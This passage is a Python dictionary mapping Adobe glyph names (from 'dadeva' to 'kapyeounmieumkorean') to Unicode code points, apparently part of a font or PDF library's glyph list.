'dadeva': u'\u0926', 'dadfinalarabic': u'\uFEBE', 'dadinitialarabic': u'\uFEBF', 'dadmedialarabic': u'\uFEC0', 'dagesh': u'\u05BC', 'dageshhebrew': u'\u05BC', 'dagger': u'\u2020', 'daggerdbl': u'\u2021', 'dagujarati': u'\u0AA6', 'dagurmukhi': u'\u0A26', 'dahiragana': u'\u3060', 'dakatakana': u'\u30C0', 'dalarabic': u'\u062F', 'dalet': u'\u05D3', 'daletdagesh': u'\uFB33', 'daletdageshhebrew': u'\uFB33', 'dalethatafpatah': u'\u05D3\u05B2', 'dalethatafpatahhebrew': u'\u05D3\u05B2', 'dalethatafsegol': u'\u05D3\u05B1', 'dalethatafsegolhebrew': u'\u05D3\u05B1', 'dalethebrew': u'\u05D3', 'dalethiriq': u'\u05D3\u05B4', 'dalethiriqhebrew': u'\u05D3\u05B4', 'daletholam': u'\u05D3\u05B9', 'daletholamhebrew': u'\u05D3\u05B9', 'daletpatah': u'\u05D3\u05B7', 'daletpatahhebrew': u'\u05D3\u05B7', 'daletqamats': u'\u05D3\u05B8', 'daletqamatshebrew': u'\u05D3\u05B8', 'daletqubuts': u'\u05D3\u05BB', 'daletqubutshebrew': u'\u05D3\u05BB', 'daletsegol': u'\u05D3\u05B6', 'daletsegolhebrew': u'\u05D3\u05B6', 'daletsheva': u'\u05D3\u05B0', 'daletshevahebrew': u'\u05D3\u05B0', 'dalettsere': u'\u05D3\u05B5', 'dalettserehebrew': u'\u05D3\u05B5', 'dalfinalarabic': u'\uFEAA', 'dammaarabic': u'\u064F', 'dammalowarabic': u'\u064F', 'dammatanaltonearabic': u'\u064C', 'dammatanarabic': u'\u064C', 'danda': u'\u0964', 'dargahebrew': u'\u05A7', 'dargalefthebrew': u'\u05A7', 'dasiapneumatacyrilliccmb': u'\u0485', 'dblGrave': u'\uF6D3', 'dblanglebracketleft': u'\u300A', 'dblanglebracketleftvertical': u'\uFE3D', 'dblanglebracketright': u'\u300B', 'dblanglebracketrightvertical': u'\uFE3E', 'dblarchinvertedbelowcmb': u'\u032B', 'dblarrowleft': u'\u21D4', 'dblarrowright': u'\u21D2', 'dbldanda': u'\u0965', 'dblgrave': u'\uF6D6', 'dblgravecmb': u'\u030F', 'dblintegral': u'\u222C', 'dbllowline': u'\u2017', 'dbllowlinecmb': u'\u0333', 'dbloverlinecmb': u'\u033F', 'dblprimemod': u'\u02BA', 'dblverticalbar': u'\u2016', 'dblverticallineabovecmb': u'\u030E', 'dbopomofo': u'\u3109', 'dbsquare': u'\u33C8', 'dcaron': u'\u010F', 'dcedilla': u'\u1E11', 'dcircle': u'\u24D3', 'dcircumflexbelow': u'\u1E13', 'dcroat': u'\u0111', 'ddabengali': u'\u09A1', 'ddadeva': u'\u0921', 'ddagujarati': u'\u0AA1', 'ddagurmukhi': u'\u0A21', 'ddalarabic': u'\u0688', 'ddalfinalarabic': u'\uFB89', 'dddhadeva': u'\u095C', 'ddhabengali': u'\u09A2', 'ddhadeva': u'\u0922', 'ddhagujarati': u'\u0AA2', 'ddhagurmukhi': u'\u0A22', 'ddotaccent': u'\u1E0B', 'ddotbelow': u'\u1E0D', 'decimalseparatorarabic': u'\u066B', 'decimalseparatorpersian': u'\u066B', 'decyrillic': u'\u0434', 'degree': u'\u00B0', 'dehihebrew': u'\u05AD', 'dehiragana': u'\u3067', 'deicoptic': u'\u03EF', 'dekatakana': u'\u30C7', 'deleteleft': u'\u232B', 'deleteright': u'\u2326', 'delta': u'\u03B4', 'deltaturned': u'\u018D', 'denominatorminusonenumeratorbengali': u'\u09F8', 'dezh': u'\u02A4', 'dhabengali': u'\u09A7', 'dhadeva': u'\u0927', 'dhagujarati': u'\u0AA7', 'dhagurmukhi': u'\u0A27', 'dhook': u'\u0257', 'dialytikatonos': u'\u0385', 'dialytikatonoscmb': u'\u0344', 'diamond': u'\u2666', 'diamondsuitwhite': u'\u2662', 'dieresis': u'\u00A8', 'dieresisacute': u'\uF6D7', 'dieresisbelowcmb': u'\u0324', 'dieresiscmb': u'\u0308', 'dieresisgrave': u'\uF6D8', 'dieresistonos': u'\u0385', 'dihiragana': u'\u3062', 'dikatakana': u'\u30C2', 'dittomark': u'\u3003', 'divide': u'\u00F7', 'divides': u'\u2223', 'divisionslash': u'\u2215', 'djecyrillic': u'\u0452', 'dkshade': u'\u2593', 'dlinebelow': u'\u1E0F', 'dlsquare': u'\u3397', 'dmacron': u'\u0111', 'dmonospace': u'\uFF44', 'dnblock': u'\u2584', 'dochadathai': u'\u0E0E', 'dodekthai': u'\u0E14', 'dohiragana': u'\u3069', 'dokatakana': u'\u30C9', 'dollar': u'\u0024', 'dollarinferior': u'\uF6E3', 'dollarmonospace': u'\uFF04', 'dollaroldstyle': u'\uF724', 'dollarsmall': u'\uFE69', 'dollarsuperior': u'\uF6E4', 'dong': u'\u20AB', 'dorusquare': u'\u3326', 'dotaccent': u'\u02D9', 'dotaccentcmb': u'\u0307', 'dotbelowcmb': u'\u0323', 'dotbelowcomb': u'\u0323', 'dotkatakana': u'\u30FB', 'dotlessi': u'\u0131', 'dotlessj': u'\uF6BE', 'dotlessjstrokehook': u'\u0284', 'dotmath': u'\u22C5', 'dottedcircle': u'\u25CC', 'doubleyodpatah': u'\uFB1F', 'doubleyodpatahhebrew': u'\uFB1F', 'downtackbelowcmb': u'\u031E', 'downtackmod': u'\u02D5', 'dparen': u'\u249F', 'dsuperior': u'\uF6EB', 'dtail': u'\u0256', 'dtopbar': u'\u018C', 'duhiragana': u'\u3065', 'dukatakana': u'\u30C5', 'dz': u'\u01F3', 'dzaltone': u'\u02A3', 'dzcaron': u'\u01C6', 'dzcurl': u'\u02A5', 'dzeabkhasiancyrillic': u'\u04E1', 'dzecyrillic': u'\u0455', 'dzhecyrillic': u'\u045F', 'e': u'\u0065', 'eacute': u'\u00E9', 'earth': u'\u2641', 'ebengali': u'\u098F', 'ebopomofo': u'\u311C', 'ebreve': u'\u0115', 'ecandradeva': u'\u090D', 'ecandragujarati': u'\u0A8D', 'ecandravowelsigndeva': u'\u0945', 'ecandravowelsigngujarati': u'\u0AC5', 'ecaron': u'\u011B', 'ecedillabreve': u'\u1E1D', 'echarmenian': u'\u0565', 'echyiwnarmenian': u'\u0587', 'ecircle': u'\u24D4', 'ecircumflex': u'\u00EA', 'ecircumflexacute': u'\u1EBF', 'ecircumflexbelow': u'\u1E19', 'ecircumflexdotbelow': u'\u1EC7', 'ecircumflexgrave': u'\u1EC1', 'ecircumflexhookabove': u'\u1EC3', 'ecircumflextilde': u'\u1EC5', 'ecyrillic': u'\u0454', 'edblgrave': u'\u0205', 'edeva': u'\u090F', 'edieresis': u'\u00EB', 'edot': u'\u0117', 'edotaccent': u'\u0117', 'edotbelow': u'\u1EB9', 'eegurmukhi': u'\u0A0F', 'eematragurmukhi': u'\u0A47', 'efcyrillic': u'\u0444', 'egrave': u'\u00E8', 'egujarati': u'\u0A8F', 'eharmenian': u'\u0567', 'ehbopomofo': u'\u311D', 'ehiragana': u'\u3048', 'ehookabove': u'\u1EBB', 'eibopomofo': u'\u311F', 'eight': u'\u0038', 'eightarabic': u'\u0668', 'eightbengali': u'\u09EE', 'eightcircle': u'\u2467', 'eightcircleinversesansserif': u'\u2791', 'eightdeva': u'\u096E', 'eighteencircle': u'\u2471', 'eighteenparen': u'\u2485', 'eighteenperiod': u'\u2499', 'eightgujarati': u'\u0AEE', 'eightgurmukhi': u'\u0A6E', 'eighthackarabic': u'\u0668', 'eighthangzhou': u'\u3028', 'eighthnotebeamed': u'\u266B', 'eightideographicparen': u'\u3227', 'eightinferior': u'\u2088', 'eightmonospace': u'\uFF18', 'eightoldstyle': u'\uF738', 'eightparen': u'\u247B', 'eightperiod': u'\u248F', 'eightpersian': u'\u06F8', 'eightroman': u'\u2177', 'eightsuperior': u'\u2078', 'eightthai': u'\u0E58', 'einvertedbreve': u'\u0207', 'eiotifiedcyrillic': u'\u0465', 'ekatakana': u'\u30A8', 'ekatakanahalfwidth': u'\uFF74', 'ekonkargurmukhi': u'\u0A74', 'ekorean': u'\u3154', 'elcyrillic': u'\u043B', 'element': u'\u2208', 'elevencircle': u'\u246A', 'elevenparen': u'\u247E', 'elevenperiod': u'\u2492', 'elevenroman': u'\u217A', 'ellipsis': u'\u2026', 'ellipsisvertical': u'\u22EE', 'emacron': u'\u0113', 'emacronacute': u'\u1E17', 'emacrongrave': u'\u1E15', 'emcyrillic': u'\u043C', 'emdash': u'\u2014', 'emdashvertical': u'\uFE31', 'emonospace': u'\uFF45', 'emphasismarkarmenian': u'\u055B', 'emptyset': u'\u2205', 'enbopomofo': u'\u3123', 'encyrillic': u'\u043D', 'endash': u'\u2013', 'endashvertical': u'\uFE32', 'endescendercyrillic': u'\u04A3', 'eng': u'\u014B', 'engbopomofo': u'\u3125', 'enghecyrillic': u'\u04A5', 'enhookcyrillic': u'\u04C8', 'enspace': u'\u2002', 'eogonek': u'\u0119', 'eokorean': u'\u3153', 'eopen': u'\u025B', 'eopenclosed': u'\u029A', 'eopenreversed': u'\u025C', 'eopenreversedclosed': u'\u025E', 'eopenreversedhook': u'\u025D', 'eparen': u'\u24A0', 'epsilon': u'\u03B5', 'epsilontonos': u'\u03AD', 'equal': u'\u003D', 'equalmonospace': u'\uFF1D', 'equalsmall': u'\uFE66', 'equalsuperior': u'\u207C', 'equivalence': u'\u2261', 'erbopomofo': u'\u3126', 'ercyrillic': u'\u0440', 'ereversed': u'\u0258', 'ereversedcyrillic': u'\u044D', 'escyrillic': u'\u0441', 'esdescendercyrillic': u'\u04AB', 'esh': u'\u0283', 'eshcurl': u'\u0286', 'eshortdeva': u'\u090E', 'eshortvowelsigndeva': u'\u0946', 'eshreversedloop': u'\u01AA', 'eshsquatreversed': u'\u0285', 'esmallhiragana': u'\u3047', 'esmallkatakana': u'\u30A7', 'esmallkatakanahalfwidth': u'\uFF6A', 'estimated': u'\u212E', 'esuperior': u'\uF6EC', 'eta': u'\u03B7', 'etarmenian': u'\u0568', 'etatonos': u'\u03AE', 'eth': u'\u00F0', 'etilde': u'\u1EBD', 'etildebelow': u'\u1E1B', 'etnahtafoukhhebrew': u'\u0591', 'etnahtafoukhlefthebrew': u'\u0591', 'etnahtahebrew': u'\u0591', 'etnahtalefthebrew': u'\u0591', 'eturned': u'\u01DD', 'eukorean': u'\u3161', 'euro': u'\u20AC', 'evowelsignbengali': u'\u09C7', 'evowelsigndeva': u'\u0947', 'evowelsigngujarati': u'\u0AC7', 'exclam': u'\u0021', 'exclamarmenian': u'\u055C', 'exclamdbl': u'\u203C', 'exclamdown': u'\u00A1', 'exclamdownsmall': u'\uF7A1', 'exclammonospace': u'\uFF01', 'exclamsmall': u'\uF721', 'existential': u'\u2203', 'ezh': u'\u0292', 'ezhcaron': u'\u01EF', 'ezhcurl': u'\u0293', 'ezhreversed': u'\u01B9', 'ezhtail': u'\u01BA', 'f': u'\u0066', 'fadeva': u'\u095E', 'fagurmukhi': u'\u0A5E', 'fahrenheit': u'\u2109', 'fathaarabic': u'\u064E', 'fathalowarabic': u'\u064E', 'fathatanarabic': u'\u064B', 'fbopomofo': u'\u3108', 'fcircle': u'\u24D5', 'fdotaccent': u'\u1E1F', 'feharabic': u'\u0641', 'feharmenian': u'\u0586', 'fehfinalarabic': u'\uFED2', 'fehinitialarabic': u'\uFED3', 'fehmedialarabic': u'\uFED4', 'feicoptic': u'\u03E5', 'female': u'\u2640', 'ff': u'\uFB00', 'ffi': u'\uFB03', 'ffl': u'\uFB04', 'fi': u'\uFB01', 'fifteencircle': u'\u246E', 'fifteenparen': u'\u2482', 'fifteenperiod': u'\u2496', 'figuredash': u'\u2012', 'filledbox': u'\u25A0', 'filledrect': u'\u25AC', 'finalkaf': u'\u05DA', 'finalkafdagesh': u'\uFB3A', 'finalkafdageshhebrew': u'\uFB3A', 'finalkafhebrew': u'\u05DA', 'finalkafqamats': u'\u05DA\u05B8', 'finalkafqamatshebrew': u'\u05DA\u05B8', 'finalkafsheva': u'\u05DA\u05B0', 'finalkafshevahebrew': u'\u05DA\u05B0', 'finalmem': u'\u05DD', 'finalmemhebrew': u'\u05DD', 'finalnun': u'\u05DF', 'finalnunhebrew': u'\u05DF', 'finalpe': u'\u05E3', 'finalpehebrew': u'\u05E3', 'finaltsadi': u'\u05E5', 'finaltsadihebrew': u'\u05E5', 'firsttonechinese': u'\u02C9', 'fisheye': u'\u25C9', 'fitacyrillic': u'\u0473', 'five': u'\u0035', 'fivearabic': u'\u0665', 'fivebengali': u'\u09EB', 'fivecircle': u'\u2464', 'fivecircleinversesansserif': u'\u278E', 'fivedeva': u'\u096B', 'fiveeighths': u'\u215D', 'fivegujarati': u'\u0AEB', 'fivegurmukhi': u'\u0A6B', 'fivehackarabic': u'\u0665', 'fivehangzhou': u'\u3025', 'fiveideographicparen': u'\u3224', 'fiveinferior': u'\u2085', 'fivemonospace': u'\uFF15', 'fiveoldstyle': u'\uF735', 'fiveparen': u'\u2478', 'fiveperiod': u'\u248C', 'fivepersian': u'\u06F5', 'fiveroman': u'\u2174', 'fivesuperior': u'\u2075', 'fivethai': u'\u0E55', 'fl': u'\uFB02', 'florin': u'\u0192', 'fmonospace': u'\uFF46', 'fmsquare': u'\u3399', 'fofanthai': u'\u0E1F', 'fofathai': u'\u0E1D', 'fongmanthai': u'\u0E4F', 'forall': u'\u2200', 'four': u'\u0034', 'fourarabic': u'\u0664', 'fourbengali': u'\u09EA', 'fourcircle': u'\u2463', 'fourcircleinversesansserif': u'\u278D', 'fourdeva': u'\u096A', 'fourgujarati': u'\u0AEA', 'fourgurmukhi': u'\u0A6A', 'fourhackarabic': u'\u0664', 'fourhangzhou': u'\u3024', 'fourideographicparen': u'\u3223', 'fourinferior': u'\u2084', 'fourmonospace': u'\uFF14', 'fournumeratorbengali': u'\u09F7', 'fouroldstyle': u'\uF734', 'fourparen': u'\u2477', 'fourperiod': u'\u248B', 'fourpersian': u'\u06F4', 'fourroman': u'\u2173', 'foursuperior': u'\u2074', 'fourteencircle': u'\u246D', 'fourteenparen': u'\u2481', 'fourteenperiod': u'\u2495', 'fourthai': u'\u0E54', 'fourthtonechinese': u'\u02CB', 'fparen': u'\u24A1', 'fraction': u'\u2044', 'franc': u'\u20A3', 'g': u'\u0067', 'gabengali': u'\u0997', 'gacute': u'\u01F5', 'gadeva': u'\u0917', 'gafarabic': u'\u06AF', 'gaffinalarabic': u'\uFB93', 'gafinitialarabic': u'\uFB94', 'gafmedialarabic': u'\uFB95', 'gagujarati': u'\u0A97', 'gagurmukhi': u'\u0A17', 'gahiragana': u'\u304C', 'gakatakana': u'\u30AC', 'gamma': u'\u03B3', 'gammalatinsmall': u'\u0263', 'gammasuperior': u'\u02E0', 'gangiacoptic': u'\u03EB', 'gbopomofo': u'\u310D', 'gbreve': u'\u011F', 'gcaron': u'\u01E7', 'gcedilla': u'\u0123', 'gcircle': u'\u24D6', 'gcircumflex': u'\u011D', 'gcommaaccent': u'\u0123', 'gdot': u'\u0121', 'gdotaccent': u'\u0121', 'gecyrillic': u'\u0433', 'gehiragana': u'\u3052', 'gekatakana': u'\u30B2', 'geometricallyequal': u'\u2251', 'gereshaccenthebrew': u'\u059C', 'gereshhebrew': u'\u05F3', 'gereshmuqdamhebrew': u'\u059D', 'germandbls': u'\u00DF', 'gershayimaccenthebrew': u'\u059E', 'gershayimhebrew': u'\u05F4', 'getamark': u'\u3013', 'ghabengali': u'\u0998', 'ghadarmenian': u'\u0572', 'ghadeva': u'\u0918', 'ghagujarati': u'\u0A98', 'ghagurmukhi': u'\u0A18', 'ghainarabic': u'\u063A', 'ghainfinalarabic': u'\uFECE', 'ghaininitialarabic': u'\uFECF', 'ghainmedialarabic': u'\uFED0', 'ghemiddlehookcyrillic': u'\u0495', 'ghestrokecyrillic': u'\u0493', 'gheupturncyrillic': u'\u0491', 'ghhadeva': u'\u095A', 'ghhagurmukhi': u'\u0A5A', 'ghook': u'\u0260', 'ghzsquare': u'\u3393', 'gihiragana': u'\u304E', 'gikatakana': u'\u30AE', 'gimarmenian': u'\u0563', 'gimel': u'\u05D2', 'gimeldagesh': u'\uFB32', 'gimeldageshhebrew': u'\uFB32', 'gimelhebrew': u'\u05D2', 'gjecyrillic': u'\u0453', 'glottalinvertedstroke': u'\u01BE', 'glottalstop': u'\u0294', 'glottalstopinverted': u'\u0296', 'glottalstopmod': u'\u02C0', 'glottalstopreversed': u'\u0295', 'glottalstopreversedmod': u'\u02C1', 'glottalstopreversedsuperior': u'\u02E4', 'glottalstopstroke': u'\u02A1', 'glottalstopstrokereversed': u'\u02A2', 'gmacron': u'\u1E21', 'gmonospace': u'\uFF47', 'gohiragana': u'\u3054', 'gokatakana': u'\u30B4', 'gparen': u'\u24A2', 'gpasquare': u'\u33AC', 'gradient': u'\u2207', 'grave': u'\u0060', 'gravebelowcmb': u'\u0316', 'gravecmb': u'\u0300', 'gravecomb': u'\u0300', 'gravedeva': u'\u0953', 'gravelowmod': u'\u02CE', 'gravemonospace': u'\uFF40', 'gravetonecmb': u'\u0340', 'greater': u'\u003E', 'greaterequal': u'\u2265', 'greaterequalorless': u'\u22DB', 'greatermonospace': u'\uFF1E', 'greaterorequivalent': u'\u2273', 'greaterorless': u'\u2277', 'greateroverequal': u'\u2267', 'greatersmall': u'\uFE65', 'gscript': u'\u0261', 'gstroke': u'\u01E5', 'guhiragana': u'\u3050', 'guillemotleft': u'\u00AB', 'guillemotright': u'\u00BB', 'guilsinglleft': u'\u2039', 'guilsinglright': u'\u203A', 'gukatakana': u'\u30B0', 'guramusquare': u'\u3318', 'gysquare': u'\u33C9', 'h': u'\u0068', 'haabkhasiancyrillic': u'\u04A9', 'haaltonearabic': u'\u06C1', 'habengali': u'\u09B9', 'hadescendercyrillic': u'\u04B3', 'hadeva': u'\u0939', 'hagujarati': u'\u0AB9', 'hagurmukhi': u'\u0A39', 'haharabic': u'\u062D', 'hahfinalarabic': u'\uFEA2', 'hahinitialarabic': u'\uFEA3', 'hahiragana': u'\u306F', 'hahmedialarabic': u'\uFEA4', 'haitusquare': u'\u332A', 'hakatakana': u'\u30CF', 'hakatakanahalfwidth': u'\uFF8A', 'halantgurmukhi': u'\u0A4D', 'hamzaarabic': u'\u0621', 'hamzadammaarabic': u'\u0621\u064F', 'hamzadammatanarabic': u'\u0621\u064C', 'hamzafathaarabic': u'\u0621\u064E', 'hamzafathatanarabic': u'\u0621\u064B', 'hamzalowarabic': u'\u0621', 'hamzalowkasraarabic': u'\u0621\u0650', 'hamzalowkasratanarabic': u'\u0621\u064D', 'hamzasukunarabic': u'\u0621\u0652', 'hangulfiller': u'\u3164', 'hardsigncyrillic': u'\u044A', 'harpoonleftbarbup': u'\u21BC', 'harpoonrightbarbup': u'\u21C0', 'hasquare': u'\u33CA', 'hatafpatah': u'\u05B2', 'hatafpatah16': u'\u05B2', 'hatafpatah23': u'\u05B2', 'hatafpatah2f': u'\u05B2', 'hatafpatahhebrew': u'\u05B2', 'hatafpatahnarrowhebrew': u'\u05B2', 'hatafpatahquarterhebrew': u'\u05B2', 'hatafpatahwidehebrew': u'\u05B2', 'hatafqamats': u'\u05B3', 'hatafqamats1b': u'\u05B3', 'hatafqamats28': u'\u05B3', 'hatafqamats34': u'\u05B3', 'hatafqamatshebrew': u'\u05B3', 'hatafqamatsnarrowhebrew': u'\u05B3', 'hatafqamatsquarterhebrew': u'\u05B3', 'hatafqamatswidehebrew': u'\u05B3', 'hatafsegol': u'\u05B1', 'hatafsegol17': u'\u05B1', 'hatafsegol24': u'\u05B1', 'hatafsegol30': u'\u05B1', 'hatafsegolhebrew': u'\u05B1', 'hatafsegolnarrowhebrew': u'\u05B1', 'hatafsegolquarterhebrew': u'\u05B1', 'hatafsegolwidehebrew': u'\u05B1', 'hbar': u'\u0127', 'hbopomofo': u'\u310F', 'hbrevebelow': u'\u1E2B', 'hcedilla': u'\u1E29', 'hcircle': u'\u24D7', 'hcircumflex': u'\u0125', 'hdieresis': u'\u1E27', 'hdotaccent': u'\u1E23', 'hdotbelow': u'\u1E25', 'he': u'\u05D4', 'heart': u'\u2665', 'heartsuitblack': u'\u2665', 'heartsuitwhite': u'\u2661', 'hedagesh': u'\uFB34', 'hedageshhebrew': u'\uFB34', 'hehaltonearabic': u'\u06C1', 'heharabic': u'\u0647', 'hehebrew': u'\u05D4', 'hehfinalaltonearabic': u'\uFBA7', 'hehfinalalttwoarabic': u'\uFEEA', 'hehfinalarabic': u'\uFEEA', 'hehhamzaabovefinalarabic': u'\uFBA5', 'hehhamzaaboveisolatedarabic': u'\uFBA4', 'hehinitialaltonearabic': u'\uFBA8', 'hehinitialarabic': u'\uFEEB', 'hehiragana': u'\u3078', 'hehmedialaltonearabic': u'\uFBA9', 'hehmedialarabic': u'\uFEEC', 'heiseierasquare': u'\u337B', 'hekatakana': u'\u30D8', 'hekatakanahalfwidth': u'\uFF8D', 'hekutaarusquare': u'\u3336', 'henghook': u'\u0267', 'herutusquare': u'\u3339', 'het': u'\u05D7', 'hethebrew': u'\u05D7', 'hhook': u'\u0266', 'hhooksuperior': u'\u02B1', 'hieuhacirclekorean': u'\u327B', 'hieuhaparenkorean': u'\u321B', 'hieuhcirclekorean': u'\u326D', 'hieuhkorean': u'\u314E', 'hieuhparenkorean': u'\u320D', 'hihiragana': u'\u3072', 'hikatakana': u'\u30D2', 'hikatakanahalfwidth': u'\uFF8B', 'hiriq': u'\u05B4', 'hiriq14': u'\u05B4', 'hiriq21': u'\u05B4', 'hiriq2d': u'\u05B4', 'hiriqhebrew': u'\u05B4', 'hiriqnarrowhebrew': u'\u05B4', 'hiriqquarterhebrew': u'\u05B4', 'hiriqwidehebrew': u'\u05B4', 'hlinebelow': u'\u1E96', 'hmonospace': u'\uFF48', 'hoarmenian': u'\u0570', 'hohipthai': u'\u0E2B', 'hohiragana': u'\u307B', 'hokatakana': u'\u30DB', 'hokatakanahalfwidth': u'\uFF8E', 'holam': u'\u05B9', 'holam19': u'\u05B9', 'holam26': u'\u05B9', 'holam32': u'\u05B9', 'holamhebrew': u'\u05B9', 'holamnarrowhebrew': u'\u05B9', 'holamquarterhebrew': u'\u05B9', 'holamwidehebrew': u'\u05B9', 'honokhukthai': u'\u0E2E', 'hookabovecomb': u'\u0309', 'hookcmb': u'\u0309', 'hookpalatalizedbelowcmb': u'\u0321', 'hookretroflexbelowcmb': u'\u0322', 'hoonsquare': u'\u3342', 'horicoptic': u'\u03E9', 'horizontalbar': u'\u2015', 'horncmb': u'\u031B', 'hotsprings': u'\u2668', 'house': u'\u2302', 'hparen': u'\u24A3', 'hsuperior': u'\u02B0', 'hturned': u'\u0265', 'huhiragana': u'\u3075', 'huiitosquare': u'\u3333', 'hukatakana': u'\u30D5', 'hukatakanahalfwidth': u'\uFF8C', 'hungarumlaut': u'\u02DD', 'hungarumlautcmb': u'\u030B', 'hv': u'\u0195', 'hyphen': u'\u002D', 'hypheninferior': u'\uF6E5', 'hyphenmonospace': u'\uFF0D', 'hyphensmall': u'\uFE63', 'hyphensuperior': u'\uF6E6', 'hyphentwo': u'\u2010', 'i': u'\u0069', 'iacute': u'\u00ED', 'iacyrillic': u'\u044F', 'ibengali': u'\u0987', 'ibopomofo': u'\u3127', 'ibreve': u'\u012D', 'icaron': u'\u01D0', 'icircle': u'\u24D8', 'icircumflex': u'\u00EE', 'icyrillic': u'\u0456', 'idblgrave': u'\u0209', 'ideographearthcircle': u'\u328F', 'ideographfirecircle': u'\u328B', 'ideographicallianceparen': u'\u323F', 'ideographiccallparen': u'\u323A', 'ideographiccentrecircle': u'\u32A5', 'ideographicclose': u'\u3006', 'ideographiccomma': u'\u3001', 'ideographiccommaleft': u'\uFF64', 'ideographiccongratulationparen': u'\u3237', 'ideographiccorrectcircle': u'\u32A3', 'ideographicearthparen': u'\u322F', 'ideographicenterpriseparen': u'\u323D', 'ideographicexcellentcircle': u'\u329D', 'ideographicfestivalparen': u'\u3240', 'ideographicfinancialcircle': u'\u3296', 'ideographicfinancialparen': u'\u3236', 'ideographicfireparen': u'\u322B', 'ideographichaveparen': u'\u3232', 'ideographichighcircle': u'\u32A4', 'ideographiciterationmark': u'\u3005', 'ideographiclaborcircle': u'\u3298', 'ideographiclaborparen': u'\u3238', 'ideographicleftcircle': u'\u32A7', 'ideographiclowcircle': u'\u32A6', 'ideographicmedicinecircle': u'\u32A9', 'ideographicmetalparen': u'\u322E', 'ideographicmoonparen': u'\u322A', 'ideographicnameparen': u'\u3234', 'ideographicperiod': u'\u3002', 'ideographicprintcircle': u'\u329E', 'ideographicreachparen': u'\u3243', 'ideographicrepresentparen': u'\u3239', 'ideographicresourceparen': u'\u323E', 'ideographicrightcircle': u'\u32A8', 'ideographicsecretcircle': u'\u3299', 'ideographicselfparen': u'\u3242', 'ideographicsocietyparen': u'\u3233', 'ideographicspace': u'\u3000', 'ideographicspecialparen': u'\u3235', 'ideographicstockparen': u'\u3231', 'ideographicstudyparen': u'\u323B', 'ideographicsunparen': u'\u3230', 'ideographicsuperviseparen': u'\u323C', 'ideographicwaterparen': u'\u322C', 'ideographicwoodparen': u'\u322D', 'ideographiczero': u'\u3007', 'ideographmetalcircle': u'\u328E', 'ideographmooncircle': u'\u328A', 'ideographnamecircle': u'\u3294', 'ideographsuncircle': u'\u3290', 'ideographwatercircle': u'\u328C', 'ideographwoodcircle': u'\u328D', 'ideva': u'\u0907', 'idieresis': u'\u00EF', 'idieresisacute': u'\u1E2F', 'idieresiscyrillic': u'\u04E5', 'idotbelow': u'\u1ECB', 'iebrevecyrillic': u'\u04D7', 'iecyrillic': u'\u0435', 'ieungacirclekorean': u'\u3275', 'ieungaparenkorean': u'\u3215', 'ieungcirclekorean': u'\u3267', 'ieungkorean': u'\u3147', 'ieungparenkorean': u'\u3207', 'igrave': u'\u00EC', 'igujarati': u'\u0A87', 'igurmukhi': u'\u0A07', 'ihiragana': u'\u3044', 'ihookabove': u'\u1EC9', 'iibengali': u'\u0988', 'iicyrillic': u'\u0438', 'iideva': u'\u0908', 'iigujarati': u'\u0A88', 'iigurmukhi': u'\u0A08', 'iimatragurmukhi': u'\u0A40', 'iinvertedbreve': u'\u020B', 'iishortcyrillic': u'\u0439', 'iivowelsignbengali': u'\u09C0', 'iivowelsigndeva': u'\u0940', 'iivowelsigngujarati': u'\u0AC0', 'ij': u'\u0133', 'ikatakana': u'\u30A4', 'ikatakanahalfwidth': u'\uFF72', 'ikorean': u'\u3163', 'ilde': u'\u02DC', 'iluyhebrew': u'\u05AC', 'imacron': u'\u012B', 'imacroncyrillic': u'\u04E3', 'imageorapproximatelyequal': u'\u2253', 'imatragurmukhi': u'\u0A3F', 'imonospace': u'\uFF49', 'increment': u'\u2206', 'infinity': u'\u221E', 'iniarmenian': u'\u056B', 'integral': u'\u222B', 'integralbottom': u'\u2321', 'integralbt': u'\u2321', 'integralex': u'\uF8F5', 'integraltop': u'\u2320', 'integraltp': u'\u2320', 'intersection': u'\u2229', 'intisquare': u'\u3305', 'invbullet': u'\u25D8', 'invcircle': u'\u25D9', 'invsmileface': u'\u263B', 'iocyrillic': u'\u0451', 'iogonek': u'\u012F', 'iota': u'\u03B9', 'iotadieresis': u'\u03CA', 'iotadieresistonos': u'\u0390', 'iotalatin': u'\u0269', 'iotatonos': u'\u03AF', 'iparen': u'\u24A4', 'irigurmukhi': u'\u0A72', 'ismallhiragana': u'\u3043', 'ismallkatakana': u'\u30A3', 'ismallkatakanahalfwidth': u'\uFF68', 'issharbengali': u'\u09FA', 'istroke': u'\u0268', 'isuperior': u'\uF6ED', 'iterationhiragana': u'\u309D', 'iterationkatakana': u'\u30FD', 'itilde': u'\u0129', 'itildebelow': u'\u1E2D', 'iubopomofo': u'\u3129', 'iucyrillic': u'\u044E', 'ivowelsignbengali': u'\u09BF', 'ivowelsigndeva': u'\u093F', 'ivowelsigngujarati': u'\u0ABF', 'izhitsacyrillic': u'\u0475', 'izhitsadblgravecyrillic': u'\u0477', 'j': u'\u006A', 'jaarmenian': u'\u0571', 'jabengali': u'\u099C', 'jadeva': u'\u091C', 'jagujarati': u'\u0A9C', 'jagurmukhi': u'\u0A1C', 'jbopomofo': u'\u3110', 'jcaron': u'\u01F0', 'jcircle': u'\u24D9', 'jcircumflex': u'\u0135', 'jcrossedtail': u'\u029D', 'jdotlessstroke': u'\u025F', 'jecyrillic': u'\u0458', 'jeemarabic': u'\u062C', 'jeemfinalarabic': u'\uFE9E', 'jeeminitialarabic': u'\uFE9F', 'jeemmedialarabic': u'\uFEA0', 'jeharabic': u'\u0698', 'jehfinalarabic': u'\uFB8B', 'jhabengali': u'\u099D', 'jhadeva': u'\u091D', 'jhagujarati': u'\u0A9D', 'jhagurmukhi': u'\u0A1D', 'jheharmenian': u'\u057B', 'jis': u'\u3004', 'jmonospace': u'\uFF4A', 'jparen': u'\u24A5', 'jsuperior': u'\u02B2', 'k': u'\u006B', 'kabashkircyrillic': u'\u04A1', 'kabengali': u'\u0995', 'kacute': u'\u1E31', 'kacyrillic': u'\u043A', 'kadescendercyrillic': u'\u049B', 'kadeva': u'\u0915', 'kaf': u'\u05DB', 'kafarabic': u'\u0643', 'kafdagesh': u'\uFB3B', 'kafdageshhebrew': u'\uFB3B', 'kaffinalarabic': u'\uFEDA', 'kafhebrew': u'\u05DB', 'kafinitialarabic': u'\uFEDB', 'kafmedialarabic': u'\uFEDC', 'kafrafehebrew': u'\uFB4D', 'kagujarati': u'\u0A95', 'kagurmukhi': u'\u0A15', 'kahiragana': u'\u304B', 'kahookcyrillic': u'\u04C4', 'kakatakana': u'\u30AB', 'kakatakanahalfwidth': u'\uFF76', 'kappa': u'\u03BA', 'kappasymbolgreek': u'\u03F0', 'kapyeounmieumkorean': u'\u3171', 